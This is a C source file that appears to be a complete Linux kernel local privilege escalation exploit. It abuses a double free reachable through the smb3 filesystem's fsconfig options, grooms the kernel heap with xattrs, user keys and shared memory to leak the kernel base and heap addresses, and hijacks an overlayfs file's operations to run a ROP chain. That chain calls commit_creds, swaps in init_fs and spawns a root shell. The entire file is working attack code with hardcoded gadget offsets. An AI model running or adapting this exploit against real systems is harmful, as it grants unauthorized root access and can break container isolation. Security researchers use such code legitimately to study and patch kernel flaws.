#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/shm.h>
#include <sys/xattr.h>
#include <sys/mount.h>
#include <fcntl.h>
#include <unistd.h>
#include <keyutils.h>
#include <linux/mount.h>

#define TMPFS_MOUNT_POINT "/tmp/tmpfs_mountpoint"
#define OVERLAYFS_MOUNT_POINT "/tmp/overlayfs_mountpoint"
#define OVERLAYFS_LOWER_DIR_1 "/tmp/overlayfs_lower_dir_1"
#define OVERLAYFS_LOWER_DIR_2 "/tmp/overlayfs_lower_dir_2"

#define USER_KEY_PAYLOAD_STRUCT_SIZE 24
#define USER_KEY_PAYLOAD_BUFFER_MAX 0xFFFF
#define SIMPLE_XATTR_STRUCT_SIZE 32
#define OVL_DIR_FILE_STRUCT_SIZE 40

#define DRAIN_KMALLOC_32_FILE_PATH "/tmp/tmpfs_mountpoint/drain_kmalloc_32"
#define DRAIN_KMALLOC_64_FILE_PATH "/tmp/tmpfs_mountpoint/drain_kmalloc_64"
#define DRAIN_KMALLOC_96_FILE_PATH "/tmp/tmpfs_mountpoint/drain_kmalloc_96"
#define DRAIN_KMALLOC_8192_FILE_PATH "/tmp/tmpfs_mountpoint/drain_kmalloc_8192"

#define SHMEM_VM_OPS_LAST_20_BITS 0x18600
#define SHMEM_VM_OPS_OFFSET_FROM_KERNEL_BASE 0x1a18600
#define STRUCT_FILE_F_MODE_OFFSET 0x44
#define STRUCT_FILE_F_OP_OFFSET 0x28
#define STRUCT_FILE_OPERATIONS_LLSEEK_OFFSET 0x8
#define TASK_STRUCT_NSPROXY_OFFSET 0x838
#define TASK_STRUCT_FS_OFFSET 0x828
uint64_t init_task = 0x2615a40;
uint64_t init_fs = 0x27b3de0;
uint64_t find_task_by_vpid = 0x1b64f0;
uint64_t prepare_kernel_cred = 0x1bfea0;
uint64_t commit_creds = 0x1bfc00;
uint64_t swapgs_restore_regs_and_return_to_usermode_nopop = 0x1201146;
uint64_t mov_rsp_rbp_pop_rbp_ret = 0x12de6c;
uint64_t pop_rdi_ret = 0xa61d8;
uint64_t pop_rsi_ret = 0x9b676;
uint64_t mov_rdi_rax_rep_ret = 0x117b93b;
uint64_t pop_rcx_ret = 0x37f1b3;
uint64_t mov_qword_ptr_rax_rsi_ret = 0x1e8ab3;
uint64_t add_rax_rcx_ret = 0xb13ccd;

/*
#define SHMEM_VM_OPS_LAST_20_BITS 0x188c0
#define SHMEM_VM_OPS_OFFSET_FROM_KERNEL_BASE 0x1a188c0
#define STRUCT_FILE_F_MODE_OFFSET 0x44
#define STRUCT_FILE_F_OP_OFFSET 0x28
#define STRUCT_FILE_OPERATIONS_LLSEEK_OFFSET 0x8
#define TASK_STRUCT_NSPROXY_OFFSET 0x838
#define TASK_STRUCT_FS_OFFSET 0x828

uint64_t init_task = 0x2615a40;
uint64_t init_fs = 0x27b3d60;
uint64_t find_task_by_vpid = 0x1b64a0;
uint64_t prepare_kernel_cred = 0x1bfe50;
uint64_t commit_creds = 0x1bfbb0;
uint64_t swapgs_restore_regs_and_return_to_usermode_nopop = 0x1201146;
uint64_t mov_rsp_rbp_pop_rbp_ret = 0x12de6c;
uint64_t pop_rdi_ret = 0x12df00;
uint64_t pop_rsi_ret = 0x52e43e;
uint64_t pop_rcx_ret = 0x203fab;
uint64_t mov_rdi_rax_rep_ret = 0x117c93b;
uint64_t mov_qword_ptr_rax_rsi_ret = 0x1e8a63;
uint64_t add_rax_rcx_ret = 0xb148bd;
*/

#define FMODE_LSEEK 0x4

#define KMALLOC_32 32
#define KMALLOC_64 64
#define KMALLOC_96 96
#define KMALLOC_8192 8192

uint64_t user_cs, user_ss, user_rsp, user_rflags;

uint64_t kernel_base;
uint64_t shmem_vm_ops;
uint64_t rop_chain_addr;

key_serial_t read_kmalloc_32_key;
key_serial_t read_kmalloc_96_key;
int trigger_code_execution_fd;

struct ovl_dir_file {
	uint8_t is_real;
	uint8_t is_upper;
	uint64_t cache;
	uint64_t cursor;
	uint64_t realfile;
	uint64_t upperfile;
};

struct list_head {
  uint64_t next;
  uint64_t prev;
};

struct simple_xattr {
  struct list_head list;
  uint64_t name;
  uint64_t size;
  char value[];
};

struct simple_xattr_attribute {
  char *path;
  char *name;
  char *payload;
  int size;
};

struct simple_xattr_manager {
  int max;
  int len;
  struct simple_xattr_attribute **attrs;
};

struct simple_xattr_leak_result {
  struct simple_xattr_attribute **attrs;
  int cnt;
  int live_on_heap;
  key_serial_t key_to_read;
  int size_to_read;
  int *offsets_to_leak;
};

void save_state(void)
{
  __asm__(
    ".intel_syntax noprefix;"
    "mov user_cs, cs;"
    "mov user_ss, ss;"
    "mov user_rsp, rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
  );
}

void win(void)
{
  char *sh_args[] = {"sh", NULL};
  execve("/bin/sh", sh_args, NULL);
}

void hexdump(void *data, int n)
{
  for (int i = 0; i < n; i += 8)
    printf("0x%016lx\n", *(uint64_t*)(data + i));
}

void *skip_user_key_payload(void *leak_buffer, int kmalloc_size)
{
  return leak_buffer + kmalloc_size - USER_KEY_PAYLOAD_STRUCT_SIZE;
}

bool create_file(const char *path)
{
  int fd = open(path, O_WRONLY | O_CREAT, 0644);
  if (fd < 0) {
    fprintf(stderr, "create file %s failed: %s\n", path, strerror(errno));
    return false;
  }

  close(fd);
  return true;
}

struct simple_xattr_manager *simple_xattr_manager_alloc(int n)
{
  struct simple_xattr_manager *m = malloc(sizeof(*m));
  if (!m) {
    perror("malloc simple_xattr_manager");
    return NULL;
  }

  m->len = 0;
  m->max = n;
  m->attrs = calloc(n, sizeof(struct simple_xattr_attribute*));
  if (!m->attrs) {
    perror("calloc attrs storage"); 
    free(m);
    return NULL;
  }

  return m;
}

struct simple_xattr_attribute *simple_xattr_attribute_alloc(
  const char *path,
  const char *name,
  const char *payload,
  int size)
{
  struct simple_xattr_attribute *attr = malloc(sizeof(*attr));
  if (!attr) {
    fprintf(stderr, "malloc attr");
    return NULL;
  }

  attr->path = strdup(path);
  if (!attr->path) {
    fprintf(stderr, "strdup(%s): %s\n", path, strerror(errno));
    goto err;
  }

  attr->name = strdup(name);
  if (!attr->name) {
    fprintf(stderr, "strdup(%s): %s\n", name, strerror(errno));
    goto err1;
  }

  attr->payload = malloc(size);
  if (!attr->payload) {
    perror("malloc payload");
    goto err2;
  }

  attr->size = size;
  memcpy(attr->payload, payload, size);
  return attr;

err2:
  free(attr->name);
err1:
  free(attr->path);
err:
  free(attr);
  return NULL;
}

bool simple_xattr_manager_append(
  struct simple_xattr_manager *m,
  const char *path,
  const char *name,
  const char *payload,
  int size)
{
  if (m->len >= m->max)
    return false;

  if (!create_file(path))
    return false;

  struct simple_xattr_attribute *attr = simple_xattr_attribute_alloc(path, name, payload, size);
  if (!attr)
    return false;

  m->attrs[m->len++] = attr;
  return true;
}

bool simple_xattr_manager_set(struct simple_xattr_manager *m)
{
  for (int i = 0; i < m->len; i++) {
    if (setxattr(m->attrs[i]->path, m->attrs[i]->name, m->attrs[i]->payload, m->attrs[i]->size, 0) < 0) {
      perror("setxattr");
      return false;
    }
  }

  return true;
}

int simple_xattr_manager_lookup(struct simple_xattr_manager *m, struct simple_xattr *xattr)
{
  for (int i = 0; i < m->len; i++)
    if (m->attrs[i]->size == xattr->size &&
        memcmp(m->attrs[i]->payload, xattr->value, xattr->size) == 0)
      return i;

  return -1;
}

bool drain_kmalloc_32(int n)
{
  static bool first_time = true;
  static int obj_cnt = 0;
  
  if (first_time) {
    if (!create_file(DRAIN_KMALLOC_32_FILE_PATH))
      return false;

    first_time = false;
  }

  char payload[32] = {};
  char name[512] = {};
  
  for (int i = 0; i < n; i++) {
    snprintf(name, sizeof(name), "security.A%d", obj_cnt);
    if (setxattr(DRAIN_KMALLOC_32_FILE_PATH, name, payload, 0, 0) < 0) {
      fprintf(stderr, "setxattr(kmalloc_32) failed: %s\n", strerror(errno));
      return false;
    }

    obj_cnt++;
  }

  return true;
}

bool drain_kmalloc_64(int n)
{
  static bool first_time = true;
  static int obj_cnt = 0;

  if (first_time) {
    if (!create_file(DRAIN_KMALLOC_64_FILE_PATH))
      return false;

    first_time = false;
  }

  char payload[64] = {};
  char name[512] = {};

  for (int i = 0; i < n; i++) {
    snprintf(name, sizeof(name), "security.A%d", obj_cnt);
    if (setxattr(DRAIN_KMALLOC_64_FILE_PATH, name, payload, 32, 0) < 0) {
      fprintf(stderr, "setxattr(kmalloc_64) failed: %s\n", strerror(errno));
      return false;
    }

    obj_cnt++;
  }

  return true;
}

bool drain_kmalloc_96(int n)
{
  static bool first_time = true;
  static int obj_cnt = 0;

  if (first_time) {
    if (!create_file(DRAIN_KMALLOC_96_FILE_PATH))
      return false;

    first_time = false;
  }

  char payload[96] = {};
  char name[512] = {};

  for (int i = 0; i < n; i++) {
    snprintf(name, sizeof(name), "security.A%d", obj_cnt);
    if (setxattr(DRAIN_KMALLOC_96_FILE_PATH, name, payload, 64, 0) < 0) {
      fprintf(stderr, "setxattr(kmalloc_96) failed: %s\n", strerror(errno));
      return false;
    }

    obj_cnt++;
  }

  return true;
}

bool drain_kmalloc_8192(int n)
{
  static bool first_time = true;
  static int obj_cnt = 0;

  if (first_time) {
    if (!create_file(DRAIN_KMALLOC_8192_FILE_PATH))
      return false;

    first_time = false;
  }

  char payload[8192] = {};
  char name[512] = {};

  for (int i = 0; i < n; i++) {
    snprintf(name, sizeof(name), "security.A%d", obj_cnt);
    if (setxattr(DRAIN_KMALLOC_8192_FILE_PATH, name, payload, 4096, 0) < 0) {
      fprintf(stderr, "setxattr(kmalloc_8192) failed: %s\n", strerror(errno));
      return false;
    }

    obj_cnt++;
  }

  return true;
}

int *prepare_shm_file_data_alloc(int n)
{
  int *shmids = malloc(n * sizeof(*shmids));
  if (!shmids) {
    perror("malloc");
    return NULL;
  }

  for (int i = 0; i < n; i++) {
    shmids[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT);
    if (shmids[i] < 0) {
      perror("shmget");
      for (int j = i - 1; j >= 0; j--)
        shmctl(shmids[j], IPC_RMID, NULL); 

      free(shmids);
      return NULL;
    }
  }

  return shmids;
}

bool shm_file_data_alloc(int *shmids, int n)
{
  for (int i = 0; i < n; i++) {
    if (!shmat(shmids[i], NULL, 0)) {
      perror("shmat");
      return false;
    }
  }

  return true;
}

bool shm_file_data_free(int *shmids, int n)
{
  for (int i = 0; i < n; i++) {
    if (shmctl(shmids[i], IPC_RMID, NULL) < 0) {
      perror("shmctl");
      return false;
    }
  }

  free(shmids);
  return true;
}

key_serial_t user_key_payload_alloc(const char *desc, void *data, int n)
{
  key_serial_t key = add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING);
  if (key < 0) {
    perror("add_key");
    return -1;
  }

  return key;
}

long user_key_payload_read(key_serial_t key, void *buf, int n)
{
  long ret = keyctl_read(key, buf, n);
  if (ret < 0) {
    perror("keyctl_read");
    return -1;
  }

  return ret;
}

int ovl_dir_file_alloc(void)
{
  int fd = open(OVERLAYFS_MOUNT_POINT, O_RDONLY);
  if (fd < 0) {
    fprintf(stderr, "open %s failed: %s\n", OVERLAYFS_MOUNT_POINT, strerror(errno));
    return -1;
  }

  return fd;
}

void ovl_dir_file_free(int fd)
{
  close(fd);
}

static inline void get_full_timesplice(void)
{
  sched_yield();
}

bool pin_on_cpu(int core_id)
{
  cpu_set_t cpuset;
  CPU_ZERO(&cpuset);
  CPU_SET(core_id, &cpuset);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset) < 0) {
    fprintf(stderr, "pin_on_cpu failed: %s\n", strerror(errno));
    return false;
  }

  return true;
}

bool write_to_file(const char *path, const char *data_fmt, ...)
{
  char *buf = NULL;
  va_list args;
  va_start(args, data_fmt);
  if (vasprintf(&buf, data_fmt, args) < 0) {
    perror("vasprintf");
    return false;
  }

  va_end(args);
  int fd = open(path, O_WRONLY);
  if (fd < 0) {
    fprintf(stderr, "open %s for writing: %s\n", path, strerror(errno));
    free(buf);
    return false;
  }

  write(fd, buf, strlen(buf));
  close(fd);
  free(buf);
  return true;
}

bool setup_namespace(void)
{
  int real_uid = getuid();
  int real_gid = getgid();

  if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC) < 0) {
    perror("unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC)");
    return false;
  }

  if (!write_to_file("/proc/self/setgroups", "deny"))
    return false;

  if (!write_to_file("/proc/self/uid_map", "0 %d 1\n", real_uid))
    return false;

  if (!write_to_file("/proc/self/gid_map", "0 %d 1\n", real_gid))
    return false;

  mkdir(TMPFS_MOUNT_POINT, 0644);
  if (mount("none", TMPFS_MOUNT_POINT, "tmpfs", 0, NULL) < 0) {
    fprintf(stderr, "mount %s(type: tmpfs): %s\n", TMPFS_MOUNT_POINT, strerror(errno));
    return false;
  }

  mkdir(OVERLAYFS_MOUNT_POINT, 0644);
  mkdir(OVERLAYFS_LOWER_DIR_1, 0644);
  mkdir(OVERLAYFS_LOWER_DIR_2, 0644);

  char overlayfs_mount_options[512];
  snprintf(overlayfs_mount_options, sizeof(overlayfs_mount_options), "lowerdir=%s:%s",
    OVERLAYFS_LOWER_DIR_1, OVERLAYFS_LOWER_DIR_2);

  if (mount("overlay", OVERLAYFS_MOUNT_POINT, "overlay", 0, overlayfs_mount_options) < 0) {
    fprintf(stderr, "mount %s(type: overlayfs): %s\n", OVERLAYFS_MOUNT_POINT, strerror(errno));
    return false;
  }

  return true;
}

int prepare_double_free(int kmalloc_size)
{ 
  if (kmalloc_size <= 0 || kmalloc_size > 256)
    return -1;
  
  int fsfd = syscall(SYS_fsopen, "smb3", 0);
  if (fsfd < 0) {
    fprintf(stderr, "fsopen(smb3) failed: %s\n", strerror(errno));
    return -1;
  }

  char password[256];
  memset(password, 0x1, kmalloc_size - 1);
  password[kmalloc_size-1] = 0;
  if (syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "password", password, 0) < 0) {
    perror("fsconfig(FSCONFIG_SET_STRING)");
    close(fsfd);
    return -1;
  }

  return fsfd;
}

static inline void trigger_first_free(int fsfd)
{
  syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "max_credits", "19", 0);
}

static inline void trigger_second_free(int fsfd)
{
  close(fsfd);
}

uint64_t search_shmem_vm_ops(uint64_t *leak_data, int n)
{
  for (int i = 0; i < n; i++) 
    if ((leak_data[i] & 0x0FFFFF) == SHMEM_VM_OPS_LAST_20_BITS && (leak_data[i] >> 32) == 0xffffffff)
      return leak_data[i];

  return 0;
}

uint64_t leak_kernel_base(void)
{
  long sz;
  int *shmids = prepare_shm_file_data_alloc(256);
  int df_fsfd = -1;
  char leak_buffer[USER_KEY_PAYLOAD_BUFFER_MAX];
  bool found_shmem_vm_ops = false;

  while (!found_shmem_vm_ops) {
    if (!drain_kmalloc_32(512))
      return 0;
    
    df_fsfd = prepare_double_free(KMALLOC_32);
    if (df_fsfd < 0)
      return 0;

    get_full_timesplice();
    trigger_first_free(df_fsfd);
    read_kmalloc_32_key = user_key_payload_alloc("key32", "A", 1);
    if (read_kmalloc_32_key < 0)
      return 0;

    get_full_timesplice();
    trigger_second_free(df_fsfd);
    if (!shm_file_data_alloc(shmids, 256))
      return 0;
    
    if ((sz = user_key_payload_read(read_kmalloc_32_key, leak_buffer, sizeof(leak_buffer))) < 0)
      return 0;

    shmem_vm_ops = search_shmem_vm_ops((uint64_t*)leak_buffer, sz / sizeof(uint64_t));
    if (shmem_vm_ops != 0) {
      found_shmem_vm_ops = true;
    } else {
      if (!shm_file_data_free(shmids, 256))
        return 0;
    }
  }

  return shmem_vm_ops - SHMEM_VM_OPS_OFFSET_FROM_KERNEL_BASE;
}

bool is_data_look_like_simple_xattr(
  struct simple_xattr *xattr,
  int kmalloc_size,
  char *pattern,
  int pattern_size)
{
  if ((xattr->list.next >> 48) == 0xFFFF && (xattr->list.prev >> 48) == 0xFFFF &&
      (xattr->name >> 48) == 0xFFFF && xattr->size == kmalloc_size &&
      memcmp(xattr->value, pattern, pattern_size) == 0)
    return true;

  return false;
}

void dump_simple_xattr(struct simple_xattr *xattr)
{
  printf("next: 0x%016lx\n", xattr->list.next);
  printf("prev: 0x%016lx\n", xattr->list.prev);
  printf("name: 0x%016lx\n", xattr->name);
  printf("size: %lu\n", xattr->size);
  printf("value: %s\n", xattr->value);
}

struct simple_xattr_leak_result *leak_simple_xattr_on_kmalloc_96(void)
{
  int kmalloc96_obj_cnt = 0;
  struct simple_xattr_manager *m = NULL;
  int df_fsfd = -1;
  bool found_simple_xattr = false;
  char leak_buffer[USER_KEY_PAYLOAD_BUFFER_MAX];
  long leak_size = 0;
  char pattern[] = "simple_xattr_kmalloc_96";
  int payload_size = 96 - SIMPLE_XATTR_STRUCT_SIZE;
  struct simple_xattr_leak_result *leak_simple_xattrs = NULL;

  while (!found_simple_xattr) {
    if (!drain_kmalloc_96(128))
      return 0;

    m = simple_xattr_manager_alloc(256);
    if (!m)
      return 0;

    for (int i = 0; i < 256; i++) {
      char path[512];
      snprintf(path, sizeof(path), "%s/%s_%d", TMPFS_MOUNT_POINT, "live_on_kmalloc_96", kmalloc96_obj_cnt);
      char name[512];
      snprintf(name, sizeof(name), "security.kmalloc96_%d", kmalloc96_obj_cnt);
      char payload[96]; 
      snprintf(payload, sizeof(payload), "%s_%d", pattern, kmalloc96_obj_cnt);
      if (!simple_xattr_manager_append(m, path, name, payload, payload_size))
        return 0;
      kmalloc96_obj_cnt++;
    }

    df_fsfd = prepare_double_free(KMALLOC_96);
    if (df_fsfd < 0)
      return 0;

    get_full_timesplice();
    trigger_first_free(df_fsfd);
    char tmp[41] = {};
    read_kmalloc_96_key = user_key_payload_alloc("key96", tmp, 41);
    if (read_kmalloc_96_key < 0)
      return 0;

    get_full_timesplice();
    trigger_second_free(df_fsfd);
    
    if (!simple_xattr_manager_set(m))
      return 0;

    if ((leak_size = user_key_payload_read(read_kmalloc_96_key, leak_buffer, sizeof(leak_buffer))) < 0)
      return 0;

    leak_simple_xattrs = malloc(sizeof(*leak_simple_xattrs));
    leak_simple_xattrs->attrs = calloc(m->len, sizeof(struct simple_xattr_attribute *));
    leak_simple_xattrs->live_on_heap = KMALLOC_96;
    leak_simple_xattrs->offsets_to_leak = calloc(m->len, sizeof(int));
    leak_simple_xattrs->key_to_read = read_kmalloc_96_key;
    leak_simple_xattrs->cnt = 0;
    leak_simple_xattrs->size_to_read = leak_size;
    
    void *scan = skip_user_key_payload(leak_buffer, KMALLOC_96);
    for (int i = 0; i < leak_size - USER_KEY_PAYLOAD_STRUCT_SIZE; i += SIMPLE_XATTR_STRUCT_SIZE) {
      struct simple_xattr *xattr = scan + i;
      if (is_data_look_like_simple_xattr(xattr, payload_size, pattern, strlen(pattern))) {
        //dump_simple_xattr(xattr);
        int x = simple_xattr_manager_lookup(m, xattr);
        if (x >= 0) {
          leak_simple_xattrs->attrs[leak_simple_xattrs->cnt] = m->attrs[x]; 
          leak_simple_xattrs->offsets_to_leak[leak_simple_xattrs->cnt] = i;
          leak_simple_xattrs->cnt++;
          if (leak_simple_xattrs->cnt >= 2)
            found_simple_xattr = true;
        }
      }
    }
  }

  return leak_simple_xattrs;
}

uint64_t prepare_rop_chain_and_fops_table(struct simple_xattr_leak_result *r)
{
  uint8_t buf[8192] = {};
  uint64_t *lseek = (uint64_t*)(&buf[0]);
  *lseek = mov_rsp_rbp_pop_rbp_ret; // lseek

  uint64_t *rop = (uint64_t*)(&buf[2048]);
  int idx = 0;
  rop[idx++] = 0;
  rop[idx++] = pop_rdi_ret;
  rop[idx++] = init_task;
  rop[idx++] = prepare_kernel_cred;
  rop[idx++] = pop_rcx_ret;
  rop[idx++] = 0;
  rop[idx++] = mov_rdi_rax_rep_ret;
  rop[idx++] = commit_creds;

  rop[idx++] = pop_rdi_ret;
  rop[idx++] = getpid();
  rop[idx++] = find_task_by_vpid;
  rop[idx++] = pop_rcx_ret;
  rop[idx++] = TASK_STRUCT_FS_OFFSET;
  rop[idx++] = add_rax_rcx_ret;
  rop[idx++] = pop_rsi_ret;
  rop[idx++] = init_fs;
  rop[idx++] = mov_qword_ptr_rax_rsi_ret;

  rop[idx++] = swapgs_restore_regs_and_return_to_usermode_nopop;
  rop[idx++] = 0; // dummy
  rop[idx++] = 0; // dummy
  rop[idx++] = (uint64_t)win;
  rop[idx++] = user_cs;
  rop[idx++] = user_rflags;
  rop[idx++] = user_rsp & 0xffffffffffffff00;
  rop[idx++] = user_ss;

  if (setxattr(r->attrs[0]->path, "security.lseek_rop", buf, KMALLOC_8192 - SIMPLE_XATTR_STRUCT_SIZE, 0) < 0) {
    perror("setxattr");
    return 0;
  }

  char leak_buffer[USER_KEY_PAYLOAD_BUFFER_MAX];
  user_key_payload_read(r->key_to_read, leak_buffer, r->size_to_read);
  void *scan = skip_user_key_payload(leak_buffer, r->live_on_heap);

  struct simple_xattr *xattr = scan + r->offsets_to_leak[0];
  return xattr->list.prev;
}

bool prepare_code_execution(struct simple_xattr_leak_result *r, uint64_t fops)
{
  uint8_t buf[8192] = {};
  char leak_buffer[USER_KEY_PAYLOAD_BUFFER_MAX];
  bool address_have_null_byte = true;
  uint64_t fake_file_addr = 0;

  *(uint8_t*)(buf + STRUCT_FILE_F_MODE_OFFSET) = FMODE_LSEEK;
  *(uint64_t*)(buf + STRUCT_FILE_F_OP_OFFSET) = fops;

  while (address_have_null_byte) {
    if (setxattr(r->attrs[1]->path, "security.fake_file", buf,
        KMALLOC_8192 - SIMPLE_XATTR_STRUCT_SIZE, 0) < 0) {
      perror("setxattr");
      return false;
    }
    
    user_key_payload_read(r->key_to_read, leak_buffer, r->size_to_read);
    void *scan = skip_user_key_payload(leak_buffer, r->live_on_heap);

    struct simple_xattr *xattr = scan + r->offsets_to_leak[1];
    fake_file_addr = xattr->list.prev + SIMPLE_XATTR_STRUCT_SIZE;
    bool found_good_address = true;
    uint8_t *p8 = (uint8_t*)&fake_file_addr;
    for (int i = 0; i < sizeof(uint64_t); i++)
      if (p8[i] == 0)
        found_good_address = false;

    if (!found_good_address) {
      if (removexattr(r->attrs[1]->path, "security.fake_file") < 0) {
        perror("removexattr(security.fake_file)");
        return false;
      }

      if (!drain_kmalloc_8192(4))
        return false;
    } else {
      address_have_null_byte = false;
    }
  }

  int df_fsfd = prepare_double_free(KMALLOC_64);
  if (df_fsfd < 0)
    return false;

  get_full_timesplice();
  trigger_first_free(df_fsfd);
  int ovl_fd = ovl_dir_file_alloc();
  if (ovl_fd < 0)
    return false;

  if (lseek(ovl_fd, 1234, SEEK_SET) < 0) { // bypass the check if (!file->f_pos)
    perror("lseek");
    return false;
  }

  int overwrite_ovl_dir_file_fsfds[2];
  for (int i = 0; i < 2; i++) {
    overwrite_ovl_dir_file_fsfds[i] = syscall(SYS_fsopen, "ramfs", 0);
    if (overwrite_ovl_dir_file_fsfds[i] < 0)
      return false;
  }

  char overwrite_buf[256];
  memset(overwrite_buf, 0xFF, sizeof(overwrite_buf));

  struct ovl_dir_file *od = (struct ovl_dir_file*)overwrite_buf;
  od->realfile = fake_file_addr;
  overwrite_buf[sizeof(struct ovl_dir_file)] = 0;

  get_full_timesplice();
  trigger_second_free(df_fsfd);
  for (int i = 0; i < 2; i++)
    syscall(SYS_fsconfig, overwrite_ovl_dir_file_fsfds[i], FSCONFIG_SET_STRING, "source", overwrite_buf, 0);

  trigger_code_execution_fd = ovl_fd;
  return true;
}

int main(int argc, char *argv[])
{
  save_state();
  if (!setup_namespace())
    return EXIT_FAILURE;

  if (!pin_on_cpu(0))
    return EXIT_FAILURE;

  kernel_base = leak_kernel_base();
  printf("[+] kernel base: 0x%016lx\n", kernel_base);

  init_task += kernel_base;
  init_fs += kernel_base;
  prepare_kernel_cred += kernel_base;
  commit_creds += kernel_base;
  find_task_by_vpid += kernel_base;
  swapgs_restore_regs_and_return_to_usermode_nopop += kernel_base;
  mov_rsp_rbp_pop_rbp_ret += kernel_base; 
  pop_rdi_ret += kernel_base;
  mov_rdi_rax_rep_ret += kernel_base;
  pop_rsi_ret += kernel_base;
  pop_rcx_ret += kernel_base;
  mov_qword_ptr_rax_rsi_ret += kernel_base;
  add_rax_rcx_ret += kernel_base;

  struct simple_xattr_leak_result *leak_simple_xattrs_on_kmalloc96 = leak_simple_xattr_on_kmalloc_96();
  uint64_t simple_xattr_kmalloc_8192_addr = prepare_rop_chain_and_fops_table(leak_simple_xattrs_on_kmalloc96);

  //prepare_code_execution(leak_simple_xattrs_on_kmalloc64);
  uint64_t fake_fops_addr = simple_xattr_kmalloc_8192_addr + SIMPLE_XATTR_STRUCT_SIZE - STRUCT_FILE_OPERATIONS_LLSEEK_OFFSET;
  prepare_code_execution(leak_simple_xattrs_on_kmalloc96, fake_fops_addr);
  uint64_t rop_stack = simple_xattr_kmalloc_8192_addr + SIMPLE_XATTR_STRUCT_SIZE + 2048;
  lseek(trigger_code_execution_fd, rop_stack, SEEK_CUR);
}
